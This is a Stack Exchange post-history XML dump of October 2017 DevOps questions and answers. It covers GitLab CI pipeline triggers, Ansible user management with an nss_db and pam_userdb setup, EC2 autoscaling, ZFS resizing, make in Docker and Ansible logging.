  <row Id="7503" PostHistoryTypeId="3" PostId="2395" RevisionGUID="3cb23223-cdfc-4e83-b402-001b7e47ca0a" CreationDate="2017-10-23T14:00:14.580" UserId="4289" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7504" PostHistoryTypeId="2" PostId="2396" RevisionGUID="1bf6e7ca-9497-40fd-b157-0a272228c716" CreationDate="2017-10-23T14:01:57.300" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7505" PostHistoryTypeId="1" PostId="2396" RevisionGUID="1bf6e7ca-9497-40fd-b157-0a272228c716" CreationDate="2017-10-23T14:01:57.300" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7506" PostHistoryTypeId="2" PostId="2397" RevisionGUID="94432e6f-df54-44d8-9a7b-8a517a8affac" CreationDate="2017-10-23T14:01:57.300" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7507" PostHistoryTypeId="1" PostId="2397" RevisionGUID="94432e6f-df54-44d8-9a7b-8a517a8affac" CreationDate="2017-10-23T14:01:57.300" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7508" PostHistoryTypeId="5" PostId="2395" RevisionGUID="367d2c51-2271-49fc-ba59-278d0c81d6be" CreationDate="2017-10-23T15:21:09.667" UserId="4289" Comment="added 273 characters in body" Text="**Background**&#xD;&#xA;&#xD;&#xA;Using Terraform to deploy to a *test group* and then when it has been deployed, run tests on the virtual machines to ensure they have been configured correctly.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;I'm using GitLabs Triggers API to run a pipeline from a project, however would like it to run on this newly created virtual machine. &#xD;&#xA;&#xD;&#xA;What would be the best way of parsing this information to the GitLab API, or would something like tags be the best way of doing this?&#xD;&#xA;&#xD;&#xA;Also, would it be possible for the gitlab-ci file to handle waiting for the pipeline to succeed/fail before continuing? Otherwise it just send the command to start a new pipeline, and then immediately finishes while the pipeline on the other project is still running..." ContentLicense="CC BY-SA 3.0" />
  <row Id="7509" PostHistoryTypeId="5" PostId="2397" RevisionGUID="dcc93451-660d-4bab-8799-81689b5d2930" CreationDate="2017-10-23T17:09:45.873" UserId="4289" Comment="added 248 characters in body" Text="GitLab Runner is the open source project that is used to run your jobs and send the results back to GitLab. It is used in conjunction with GitLab CI, the open-source continuous integration service included with GitLab that coordinates the jobs.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7510" PostHistoryTypeId="24" PostId="2397" RevisionGUID="dcc93451-660d-4bab-8799-81689b5d2930" CreationDate="2017-10-23T17:09:45.873" Comment="Proposed by 4289 approved by 40, 2845 edit id of 504" ContentLicense="CC BY-SA 3.0" />
  <row Id="7511" PostHistoryTypeId="5" PostId="2394" RevisionGUID="913bec66-f68e-4fc8-a7de-9eac0bcfc5a1" CreationDate="2017-10-23T18:44:44.857" UserId="739" Comment="formatting" Text="I am going to be attached to a small project that basically organizes the users in a cluster of AWS Linux servers. The servers users assigned have different UIDS and maybe different GUIDs. I am hoping to use Ansible to fix this up and organize users better. I can get Ansible to run on a test environment but one thing has got me nervous is that `/etc/passwd` gets completely screwed up! So my questions are as follows:&#xD;&#xA;&#xD;&#xA; 1. Would a better approach be to overwrite `/etc/passwd` using Ansible. So basically I have a template of `/etc/passwd` and use a combination of Jinja2 and Ansible vault to rewrite the values in `/etc/passwd` (I am currently doing this with `sudoers` and it works well)? If this is the case, would I need to do anything with `/etc/shadow` or am I safe there?&#xD;&#xA; 2. Is Ansible smart enough where I won't need to use `/etc/passwd`? For example, I have user `bob` assigned to UID 5001 when he should be consistently assigned 5002. If I was to readd the user using the users module and specifically assign 5002 to his UID, would that work better?&#xD;&#xA;&#xD;&#xA;Please let me know if you need any more information." ContentLicense="CC BY-SA 3.0" />
  <row Id="7512" PostHistoryTypeId="24" PostId="2394" RevisionGUID="913bec66-f68e-4fc8-a7de-9eac0bcfc5a1" CreationDate="2017-10-23T18:44:44.857" Comment="Proposed by 739 approved by 2845, 40 edit id of 505" ContentLicense="CC BY-SA 3.0" />
  <row Id="7513" PostHistoryTypeId="2" PostId="2398" RevisionGUID="7185d1f7-19fc-43fc-bd2d-d9ca77ce8de8" CreationDate="2017-10-24T01:23:52.537" UserId="4822" Text="If editing critical flat-files across multiple servers in one place is too scary..&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;One approach I have often recommended is to let system users reside in /etc/passwd files, and to add an additional Name Service Switch (NSS) source for humans that need to log in. For big projects (lots of users authenticating against the PAM user data), that means LDAP, and for small ones (few can be hundreds of such users), nss_db + pam_userdb.&#xD;&#xA;&#xD;&#xA;With multiple NSS and PAM sources for users, you can avoid disabling a server when the human user accounts distribution fails for whatever reason. Services (like your privileged Ansible account) should always depend ONLY on the standard /etc/passwd files. LDAP (or even MySQL) is probably overkill for some cases (like yours). &#xD;&#xA;&#xD;&#xA;Consider the old BDB backed gems, designed originally (for big FTP file distribution servers) to provide faster logins than /etc files, but otherwise work nearly the same. They store the same passwd and groups flat files' content, but loaded into a (now non GPL) BerkeleyDB NOSQL key/value database file which is faster to read. For this purpose, it's just an extra place to store user/group authentication/authorization data.&#xD;&#xA;&#xD;&#xA;NSS&#xD;&#xA;-&#xD;&#xA;https://en.wikipedia.org/wiki/Name_Service_Switch&#xD;&#xA;https://www.systutorials.com/docs/linux/man/5-nsswitch.conf/&#xD;&#xA;https://sourceforge.net/p/nssdb/home/Home/&#xD;&#xA;PAM&#xD;&#xA;-&#xD;&#xA;https://en.wikipedia.org/wiki/Linux_PA&#xD;&#xA;https://www.systutorials.com/docs/linux/man/8-pam_userdb/&#xD;&#xA;https://www.cyberciti.biz/tips/centos-redhat-vsftpd-ftp-with-virtual-users.html&#xD;&#xA;&#xD;&#xA;steps&#xD;&#xA;-&#xD;&#xA; 1. collect your passwd, shadow, and group files on a secure server with&#xD;&#xA;    the nss_db Makefile&#xD;&#xA; 2. build the nss passwd and group db files using the provided nss_db&#xD;&#xA;    Makefile&#xD;&#xA; 3. extract the users from shadow file and build PAM db file&#xD;&#xA;&#xD;&#xA;    awk -F: '{print $1;print$2}' &lt; shadow &gt; users.txt # used like the&#xD;&#xA;        vsftpd vusers.txt example&#xD;&#xA;&#xD;&#xA;    db_load -T -t hash -f users.txt pam-users.db&#xD;&#xA;&#xD;&#xA; 4. distribute the files to somewhere appropriate on your target servers&#xD;&#xA;    (maybe /var/db/authdb/*.db)&#xD;&#xA;&#xD;&#xA; 5. set up the target servers' pam.conf and nsswitch.conf files to use&#xD;&#xA;    these db files&#xD;&#xA;&#xD;&#xA; 6. Steps 1-4 are the repeatable build/deploy process.&#xD;&#xA;&#xD;&#xA;why?&#xD;&#xA;-&#xD;&#xA; - Once you have working pam/nss configs, your risk of breaking services&#xD;&#xA;   by updating/corrupting user auth/auth is very low.&#xD;&#xA; - User authentication will work on each server with no external network dependencies like LDAP or MySQL etc.&#xD;&#xA; - You can treat the DB files as immutable artifacts on the farm to reduce/prevent user auth snowflakes even if you can't have immutable servers." ContentLicense="CC BY-SA 3.0" />
  <row Id="7514" PostHistoryTypeId="5" PostId="2398" RevisionGUID="47eea3d1-df6f-4429-b4de-a6a5a513fc8f" CreationDate="2017-10-24T02:44:33.383" UserId="4822" Comment="formatting fixed: urls got mashed into paragraphs" Text="If editing critical flat-files across multiple servers in one place is too scary..&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;One approach I have often recommended is to let system users reside in /etc/passwd files, and to add an additional Name Service Switch (NSS) source for humans that need to log in. For big projects (lots of users authenticating against the PAM user data), that means LDAP, and for small ones (few can be hundreds of such users), nss_db + pam_userdb.&#xD;&#xA;&#xD;&#xA;With multiple NSS and PAM sources for users, you can avoid disabling a server when the human user accounts distribution fails for whatever reason. Services (like your privileged Ansible account) should always depend ONLY on the standard /etc/passwd files. LDAP (or even MySQL) is probably overkill for some cases (like yours). &#xD;&#xA;&#xD;&#xA;Consider the old BDB backed gems, designed originally (for big FTP file distribution servers) to provide faster logins than /etc files, but otherwise work nearly the same. They store the same passwd and groups flat files' content, but loaded into a (now non GPL) BerkeleyDB NOSQL key/value database file which is faster to read. For this purpose, it's just an extra place to store user/group authentication/authorization data.&#xD;&#xA;&#xD;&#xA;NSS&#xD;&#xA;-&#xD;&#xA;https://en.wikipedia.org/wiki/Name_Service_Switch&#xD;&#xA;&#xD;&#xA;https://www.systutorials.com/docs/linux/man/5-nsswitch.conf/&#xD;&#xA;&#xD;&#xA;https://sourceforge.net/p/nssdb/home/Home/&#xD;&#xA;&#xD;&#xA;PAM&#xD;&#xA;-&#xD;&#xA;https://en.wikipedia.org/wiki/Linux_PA&#xD;&#xA;&#xD;&#xA;https://www.systutorials.com/docs/linux/man/8-pam_userdb/&#xD;&#xA;&#xD;&#xA;https://www.cyberciti.biz/tips/centos-redhat-vsftpd-ftp-with-virtual-users.html&#xD;&#xA;&#xD;&#xA;steps&#xD;&#xA;-&#xD;&#xA; 1. collect your passwd, shadow, and group files on a secure server with&#xD;&#xA;    the nss_db Makefile&#xD;&#xA; 2. build the nss passwd and group db files using the provided nss_db&#xD;&#xA;    Makefile&#xD;&#xA; 3. extract the users from shadow file and build PAM db file&#xD;&#xA;&#xD;&#xA;    awk -F: '{print $1;print$2}' &lt; shadow &gt; users.txt # used like the&#xD;&#xA;        vsftpd vusers.txt example&#xD;&#xA;&#xD;&#xA;    db_load -T -t hash -f users.txt pam-users.db&#xD;&#xA;&#xD;&#xA; 4. distribute the files to somewhere appropriate on your target servers&#xD;&#xA;    (maybe /var/db/authdb/*.db)&#xD;&#xA;&#xD;&#xA; 5. set up the target servers' pam.conf and nsswitch.conf files to use&#xD;&#xA;    these db files&#xD;&#xA;&#xD;&#xA; 6. Steps 1-4 are the repeatable build/deploy process.&#xD;&#xA;&#xD;&#xA;why?&#xD;&#xA;-&#xD;&#xA; - Once you have working pam/nss configs, your risk of breaking services&#xD;&#xA;   by updating/corrupting user auth/auth is very low.&#xD;&#xA; - User authentication will work on each server with no external network dependencies like LDAP or MySQL etc.&#xD;&#xA; - You can treat the DB files as immutable artifacts on the farm to reduce/prevent user auth snowflakes even if you can't have immutable servers." ContentLicense="CC BY-SA 3.0" />
  <row Id="7515" PostHistoryTypeId="2" PostId="2399" RevisionGUID="e89c52e4-0c6c-4454-8afa-a2e81a7c6abc" CreationDate="2017-10-24T03:29:40.640" UserId="4822" Text="Autoscaling is a good case for machine learning&#xD;&#xA;===&#xD;&#xA;&#xD;&#xA;This is a hard problem to do well.&#xD;&#xA;---&#xD;&#xA;What you really want is something like Nest Thermostat for your EC2 infrastructure.&#xD;&#xA;&#xD;&#xA;There are (aforementioned) multiple dimensions of resource demand/limitations.&#xD;&#xA;-&#xD;&#xA; - CPU&#xD;&#xA; - memory&#xD;&#xA; - disk space&#xD;&#xA; - disk IO&#xD;&#xA; - network IO&#xD;&#xA; - concurrency/latency/queue depth&#xD;&#xA;&#xD;&#xA;There are multiple indicators of demand (in addition to the above).&#xD;&#xA;-&#xD;&#xA; - concurrent unique visits/sessions&#xD;&#xA; - pages per visit/session&#xD;&#xA; - rate of engagement/interaction feature usage&#xD;&#xA;&#xD;&#xA;There are multiple common patterns of changing demand over time.&#xD;&#xA;-&#xD;&#xA; - daily user demand cycles&#xD;&#xA; - weekly user demand cycles&#xD;&#xA; - monthly ...&#xD;&#xA; - annual ...&#xD;&#xA; - special event/days&#xD;&#xA; - DDoS load&#xD;&#xA; - media/marketing exposure traffic spikes&#xD;&#xA;&#xD;&#xA;There are multiple financial decision factors.&#xD;&#xA;- &#xD;&#xA; - does revenue scale with traffic? How? (How conservative do you need to be?)&#xD;&#xA; - is there a hidden cost to control (transaction costs, limits)?&#xD;&#xA; - what's the cost model of scaling? (things in a pipeline scale together, things in a load-balanced cluster scale independently)&#xD;&#xA;&#xD;&#xA;Before long, if you try to hand-optimize on hand-selected features you're going to have a monster of technical debt that is possibly more complicated than any other logic in your site. Amazon makes more money when you err (with a large margin) on the side of caution, so their tools will probably never get close to what you want.&#xD;&#xA;&#xD;&#xA;Instead, choose an architecture/technology stack that can grow/scale so you don't have to get it exactly right the first time. Then pick a few factors which you think are obvious. Then try to come up with a way to sort multiple representative possibilities in order of preference. Then collect some real world data covering all those points. If you're lucky, a simple obvious hand-coded solution will jump out at you from looking at the data. If not, code up something that will give you an approximate model f(x1,x2,x3,x4) --&gt; y * app nodes, using an appropriate algorithm.&#xD;&#xA;&#xD;&#xA;I bet you didn't think this one was going to be so much fun!" ContentLicense="CC BY-SA 3.0" />
  <row Id="7516" PostHistoryTypeId="2" PostId="2400" RevisionGUID="87904fda-abcc-42d8-8d25-a2b1dbe2bd05" CreationDate="2017-10-24T03:46:23.490" UserId="4822" Text="ZFS Zero Downtime filesystem storage scaling on AWS (or elsewhere)&#xD;&#xA;==&#xD;&#xA;upsize&#xD;&#xA;-&#xD;&#xA; 1. Install ZFS on EC2.&#xD;&#xA;&#xD;&#xA;    http://serverascode.com/2016/09/05/aws-zfs-user-data.html&#xD;&#xA; 2. Make a zpool for your bulk data using an EBS volume.&#xD;&#xA; 3. Add another EBS to get more block storage. (or set the pool autoexpand=true and just grow your EBS)&#xD;&#xA; 4. Add the new EBS to your zpool to make the space available. (unless you used autoexpand and increased the EBS size)&#xD;&#xA;&#xD;&#xA;Downsize&#xD;&#xA;-&#xD;&#xA; 1. Make a new zpool on new EBS big enough to hold the shrunken data. (doesn't need to be mounted yet, or even on the same EC2)&#xD;&#xA; 2. snapshot the old too-big zpool&#xD;&#xA; 3. zfs-send the snapshot to the new zpool&#xD;&#xA; 4. promote the received snapshot on the new pool and mount it&#xD;&#xA; 5. destroy the old pool&#xD;&#xA; 6. destroy the old pool's EBS" ContentLicense="CC BY-SA 3.0" />
  <row Id="7517" PostHistoryTypeId="2" PostId="2401" RevisionGUID="0cc4ede6-58e8-432a-b4de-003787a48c4e" CreationDate="2017-10-24T07:04:44.387" UserId="210" Text="When one searches for [make][1] on [dockerhub][2] multiple images are returned, but none of them seems to be able to run make.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.gnu.org/software/make/&#xD;&#xA;  [2]: https://hub.docker.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="7518" PostHistoryTypeId="1" PostId="2401" RevisionGUID="0cc4ede6-58e8-432a-b4de-003787a48c4e" CreationDate="2017-10-24T07:04:44.387" UserId="210" Text="Is there an image on dockerhub that is able to run make?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7519" PostHistoryTypeId="3" PostId="2401" RevisionGUID="0cc4ede6-58e8-432a-b4de-003787a48c4e" CreationDate="2017-10-24T07:04:44.387" UserId="210" Text="&lt;docker&gt;&lt;dockerhub&gt;&lt;make&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7520" PostHistoryTypeId="2" PostId="2402" RevisionGUID="3676929e-6a30-44df-86c2-01421026a83d" CreationDate="2017-10-24T07:05:50.313" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7521" PostHistoryTypeId="1" PostId="2402" RevisionGUID="3676929e-6a30-44df-86c2-01421026a83d" CreationDate="2017-10-24T07:05:50.313" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7522" PostHistoryTypeId="2" PostId="2403" RevisionGUID="531f8ad3-8a58-42a3-be1a-275b79b626d4" CreationDate="2017-10-24T07:05:50.313" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7523" PostHistoryTypeId="1" PostId="2403" RevisionGUID="531f8ad3-8a58-42a3-be1a-275b79b626d4" CreationDate="2017-10-24T07:05:50.313" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7524" PostHistoryTypeId="2" PostId="2404" RevisionGUID="bf0c2c7c-99bf-4240-afbc-9fa7846ef98c" CreationDate="2017-10-24T07:06:21.670" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7525" PostHistoryTypeId="1" PostId="2404" RevisionGUID="bf0c2c7c-99bf-4240-afbc-9fa7846ef98c" CreationDate="2017-10-24T07:06:21.670" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7526" PostHistoryTypeId="2" PostId="2405" RevisionGUID="73aee067-0b72-4d49-a092-7af6ba197f01" CreationDate="2017-10-24T07:06:21.670" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7527" PostHistoryTypeId="1" PostId="2405" RevisionGUID="73aee067-0b72-4d49-a092-7af6ba197f01" CreationDate="2017-10-24T07:06:21.670" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7530" PostHistoryTypeId="5" PostId="2398" RevisionGUID="b9bd5a26-6d04-4bef-954e-f09405369dc9" CreationDate="2017-10-24T07:54:08.167" UserId="13" Comment="added 21 characters in body" Text="If editing critical flat-files across multiple servers in one place is too scary..&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;One approach I have often recommended is to let system users reside in /etc/passwd files, and to add an additional Name Service Switch (NSS) source for humans that need to log in. For big projects (lots of users authenticating against the PAM user data), that means LDAP, and for small ones (few can be hundreds of such users), nss_db + pam_userdb.&#xD;&#xA;&#xD;&#xA;With multiple NSS and PAM sources for users, you can avoid disabling a server when the human user accounts distribution fails for whatever reason. Services (like your privileged Ansible account) should always depend ONLY on the standard /etc/passwd files. LDAP (or even MySQL) is probably overkill for some cases (like yours). &#xD;&#xA;&#xD;&#xA;Consider the old BDB backed gems, designed originally (for big FTP file distribution servers) to provide faster logins than /etc files, but otherwise work nearly the same. They store the same passwd and groups flat files' content, but loaded into a (now non GPL) BerkeleyDB NOSQL key/value database file which is faster to read. For this purpose, it's just an extra place to store user/group authentication/authorization data.&#xD;&#xA;&#xD;&#xA;NSS&#xD;&#xA;-&#xD;&#xA;https://en.wikipedia.org/wiki/Name_Service_Switch&#xD;&#xA;&#xD;&#xA;https://www.systutorials.com/docs/linux/man/5-nsswitch.conf/&#xD;&#xA;&#xD;&#xA;https://sourceforge.net/p/nssdb/home/Home/&#xD;&#xA;&#xD;&#xA;PAM&#xD;&#xA;-&#xD;&#xA;https://en.wikipedia.org/wiki/Linux_PA&#xD;&#xA;&#xD;&#xA;https://www.systutorials.com/docs/linux/man/8-pam_userdb/&#xD;&#xA;&#xD;&#xA;https://www.cyberciti.biz/tips/centos-redhat-vsftpd-ftp-with-virtual-users.html&#xD;&#xA;&#xD;&#xA;steps&#xD;&#xA;-&#xD;&#xA; 1. collect your passwd, shadow, and group files on a secure server with&#xD;&#xA;    the nss_db Makefile&#xD;&#xA; 2. build the nss passwd and group db files using the provided nss_db&#xD;&#xA;    Makefile&#xD;&#xA; 3. extract the users and password hashes from shadow file and build PAM db file&#xD;&#xA;&#xD;&#xA;        awk -F: '{print $1;print$2}' shadow &gt; users.txt # used like the vsftpd vusers.txt example&#xD;&#xA;    &#xD;&#xA;        db_load -T -t hash -f users.txt pam-users.db&#xD;&#xA;&#xD;&#xA; 4. distribute the files to somewhere appropriate on your target servers&#xD;&#xA;    (maybe /var/db/authdb/*.db)&#xD;&#xA;&#xD;&#xA; 5. set up the target servers' pam.conf and nsswitch.conf files to use&#xD;&#xA;    these db files&#xD;&#xA;&#xD;&#xA; 6. Steps 1-4 are the repeatable build/deploy process.&#xD;&#xA;&#xD;&#xA;why?&#xD;&#xA;-&#xD;&#xA; - Once you have working pam/nss configs, your risk of breaking services&#xD;&#xA;   by updating/corrupting user auth/auth is very low.&#xD;&#xA; - User authentication will work on each server with no external network dependencies like LDAP or MySQL etc.&#xD;&#xA; - You can treat the DB files as immutable artifacts on the farm to reduce/prevent user auth snowflakes even if you can't have immutable servers." ContentLicense="CC BY-SA 3.0" />
  <row Id="7531" PostHistoryTypeId="5" PostId="2395" RevisionGUID="398efe03-1d9e-4dae-bfd1-efaee4a6a9e5" CreationDate="2017-10-24T07:57:40.227" UserId="4289" Comment="added 911 characters in body" Text="**Background**&#xD;&#xA;&#xD;&#xA;Using Terraform to deploy to a *test group* and then when it has been deployed, run tests on the virtual machines to ensure they have been configured correctly.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;I'm using GitLabs Triggers API to run a pipeline from a project, however would like it to run on this newly created virtual machine. &#xD;&#xA;&#xD;&#xA;What would be the best way of parsing this information to the GitLab API, or would something like tags be the best way of doing this?&#xD;&#xA;&#xD;&#xA;Also, would it be possible for the gitlab-ci file to handle waiting for the pipeline to succeed/fail before continuing? Otherwise it just send the command to start a new pipeline, and then immediately finishes while the pipeline on the other project is still running...&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**.gitlab-ci.yml**&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - deploy to test&#xD;&#xA;      - test&#xD;&#xA;      - deploy to prod&#xD;&#xA;    &#xD;&#xA;    Terraform Deploy To Test:&#xD;&#xA;      stage: deploy to test&#xD;&#xA;      script:&#xD;&#xA;        - cd test_deploy&#xD;&#xA;        - python deploy.py&#xD;&#xA;    &#xD;&#xA;    Testing:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - curl --request POST --form token=TOKEN --form ref=master http://gitlab.example.com/api/v4/projects/12/trigger/pipeline&#xD;&#xA;&#xD;&#xA;    Terraform Deploy to Prod:&#xD;&#xA;      stage: deploy to prod&#xD;&#xA;      script:&#xD;&#xA;        - do something if the above testing succeeds&#xD;&#xA;&#xD;&#xA;The pipeline would be on a runner, and would generate a new build machine and deploy it to the test group with a python script. To test it then triggers a pipeline call using the GitLab API, and I would like that pipeline to run on the new generated build machine, and then to wait for the build to succeed, or fail before deploy to production.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7532" PostHistoryTypeId="2" PostId="2406" RevisionGUID="1317c99d-28a6-4b06-afdb-859f55a0be95" CreationDate="2017-10-24T09:07:57.643" UserId="3752" Text="In my opinion there shouldn't be an image to run `make`, because if you want to build something from source you should install the dependencies and configure before run `make`, so I think it is just a command and you don't need an image to install it, even `make` is not a service to be in separate image, it must be used in `Dockerfile` to help you building your service from source during the image build time and not create a specific image for it." ContentLicense="CC BY-SA 3.0" />
  <row Id="7533" PostHistoryTypeId="5" PostId="2395" RevisionGUID="3cde7760-5b9d-4533-8a21-f950eab54f9e" CreationDate="2017-10-24T10:08:41.527" UserId="4289" Comment="added 80 characters in body" Text="**Scenario**&#xD;&#xA;&#xD;&#xA; 1. Create a new virtual machine with runner installed&#xD;&#xA; 2. Trigger a pipeline to run (from another project), which runs on this new virtual machine&#xD;&#xA; 3. Do something else, or fail if pipeline above fails on the new virtual machine&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;I'm using GitLabs Triggers API to run a pipeline from a project, however would like it to run on this newly created virtual machine. &#xD;&#xA;&#xD;&#xA;What would be the best way of parsing this information to the GitLab API, or would something like tags be the best way of doing this?&#xD;&#xA;&#xD;&#xA;Also, would it be possible for the gitlab-ci file to handle waiting for the pipeline to succeed/fail before continuing? Otherwise it just send the command to start a new pipeline, and then immediately finishes while the pipeline on the other project is still running...&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**.gitlab-ci.yml**&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - deploy to test&#xD;&#xA;      - test&#xD;&#xA;      - deploy to prod&#xD;&#xA;    &#xD;&#xA;    Terraform Deploy To Test:&#xD;&#xA;      stage: deploy to test&#xD;&#xA;      script:&#xD;&#xA;        - cd test_deploy&#xD;&#xA;        - python deploy.py&#xD;&#xA;    &#xD;&#xA;    Testing:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - curl --request POST --form token=TOKEN --form ref=master http://gitlab.example.com/api/v4/projects/12/trigger/pipeline&#xD;&#xA;&#xD;&#xA;    Terraform Deploy to Prod:&#xD;&#xA;      stage: deploy to prod&#xD;&#xA;      script:&#xD;&#xA;        - do something if the above testing succeeds, or fail&#xD;&#xA;&#xD;&#xA;The pipeline would be on a runner, and would generate a new build machine and deploy it to the test group with a python script. To test it then triggers a pipeline call using the GitLab API, and I would like that pipeline to run on the new generated build machine, and then to wait for the build to succeed, or fail before deploy to production.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7534" PostHistoryTypeId="2" PostId="2407" RevisionGUID="ef1a430e-4fbc-4f94-bc3f-3fdfeeb85062" CreationDate="2017-10-24T11:15:11.520" UserId="4369" Text="Depending on what language you want to build with, you can try some of these containers:&#xD;&#xA;&#xD;&#xA; - Python: `lambci/lambda:build-python3.6`&#xD;&#xA; - Nodejs: `amaysim/serverless:1.23.0`&#xD;&#xA; - Golang: `amaysim/golang:1.8.3`" ContentLicense="CC BY-SA 3.0" />
  <row Id="7535" PostHistoryTypeId="2" PostId="2408" RevisionGUID="ad08c4e0-b6ad-4df4-b324-7395ff6506ce" CreationDate="2017-10-24T12:56:15.933" UserId="4853" Text="I've a playbook that runs EOS commands against multiple devices. Currently the whole thing is done in bash, creates one massive text file log and an engineer compares each day's log to the previous one for irregularities.&#xD;&#xA;&#xD;&#xA;I'm attempting to have one simple playbooks that runs the commands and logs to json from which it'll be easier to automate the comparison, but I've just realised only logs from one device are saved as opposed to the two I'm testing against.&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: Checks&#xD;&#xA;      hosts: myhosts&#xD;&#xA;      connection: local&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Run Commands&#xD;&#xA;        eos_command:&#xD;&#xA;         commands:&#xD;&#xA;          - show ip pim neighbor | json&#xD;&#xA;          - show ip bgp summary | json&#xD;&#xA;        register: result&#xD;&#xA;        &#xD;&#xA;      - name: Save to file&#xD;&#xA;        copy: &#xD;&#xA;         content: &quot;{{ result.stdout_lines | to_nice_json }}&quot;&#xD;&#xA;        dest: &quot;/home/homedirectory/results.json&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Would there be way to log both (and eventually all production) devices in the same file?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7536" PostHistoryTypeId="1" PostId="2408" RevisionGUID="ad08c4e0-b6ad-4df4-b324-7395ff6506ce" CreationDate="2017-10-24T12:56:15.933" UserId="4853" Text="How to log outcome from multiple hosts in Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7537" PostHistoryTypeId="3" PostId="2408" RevisionGUID="ad08c4e0-b6ad-4df4-b324-7395ff6506ce" CreationDate="2017-10-24T12:56:15.933" UserId="4853" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7538" PostHistoryTypeId="2" PostId="2409" RevisionGUID="dbb188d1-8a7a-494b-9362-bbf9f2e5219d" CreationDate="2017-10-24T13:24:09.300" UserId="4860" Text="GNU `make` can be found in the [gcc][1] container.&#xD;&#xA;&#xD;&#xA;&gt; Compile your app inside the Docker container&#xD;&#xA;There may be occasions where it is not appropriate to run your app inside a container. To compile, but not run your app inside the Docker instance, you can write something like:&#xD;&#xA;&#xD;&#xA;&gt; $ docker run --rm -v &quot;$PWD&quot;:/usr/src/myapp -w /usr/src/myapp gcc:4.9 gcc -o myapp myapp.c&#xD;&#xA;&#xD;&#xA;&gt;This will add your current directory, as a volume, to the container, set the working directory to the volume, and run the command gcc -o myapp myapp.c. This tells gcc to compile the code in myapp.c and output the executable to myapp. **Alternatively, if you have a Makefile, you can instead run the make command inside your container**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/gcc/ &quot;GCC&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7539" PostHistoryTypeId="2" PostId="2410" RevisionGUID="c5352a88-9054-4f5c-8bb3-2cf8a90fe797" CreationDate="2017-10-24T14:02:36.953" UserId="3509" Text="This question has two approaches, and both has answers on SO:&#xD;&#xA;&#xD;&#xA;1. Convert all Ansible output to JSON with `json` stdout callback and parse it with your favourite tools. The `eos_command` output for each device will be under different host key in the resulting json.&#xD;&#xA;See [this][1] and [this][2].&#xD;&#xA;&#xD;&#xA;2. Make `run_once` task to collect data from other hosts, like this:&#xD;&#xA;&#xD;&#xA;        - debug:&#xD;&#xA;            msg: &quot;{{ ansible_play_hosts | map('extract', hostvars, 'result') | map(attribute='stdout_lines') | list }}&quot;&#xD;&#xA;          run_once: yes&#xD;&#xA;   See [this][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/39037249/2795592&#xD;&#xA;  [2]: https://stackoverflow.com/a/44717744/2795592&#xD;&#xA;  [3]: https://stackoverflow.com/a/43908569/2795592" ContentLicense="CC BY-SA 3.0" />
  <row Id="7540" PostHistoryTypeId="2" PostId="2411" RevisionGUID="0207d158-7f9e-44ea-973c-cb4ffcc57e79" CreationDate="2017-10-24T15:23:36.310" UserId="4871" Text="How to monitor varnish cache inside docker container? Focusing mainly on nagios and new relic.Found many tools in google related to this but we are focusing only on nagios and new relic." ContentLicense="CC BY-SA 3.0" />
  <row Id="7541" PostHistoryTypeId="1" PostId="2411" RevisionGUID="0207d158-7f9e-44ea-973c-cb4ffcc57e79" CreationDate="2017-10-24T15:23:36.310" UserId="4871" Text="How to monitor varnish cache inside docker container? Focusing mainly on nagios and new relic" ContentLicense="CC BY-SA 3.0" />
  <row Id="7542" PostHistoryTypeId="3" PostId="2411" RevisionGUID="0207d158-7f9e-44ea-973c-cb4ffcc57e79" CreationDate="2017-10-24T15:23:36.310" UserId="4871" Text="&lt;docker&gt;&lt;nagios&gt;" ContentLicense="CC BY-SA 3.0" />
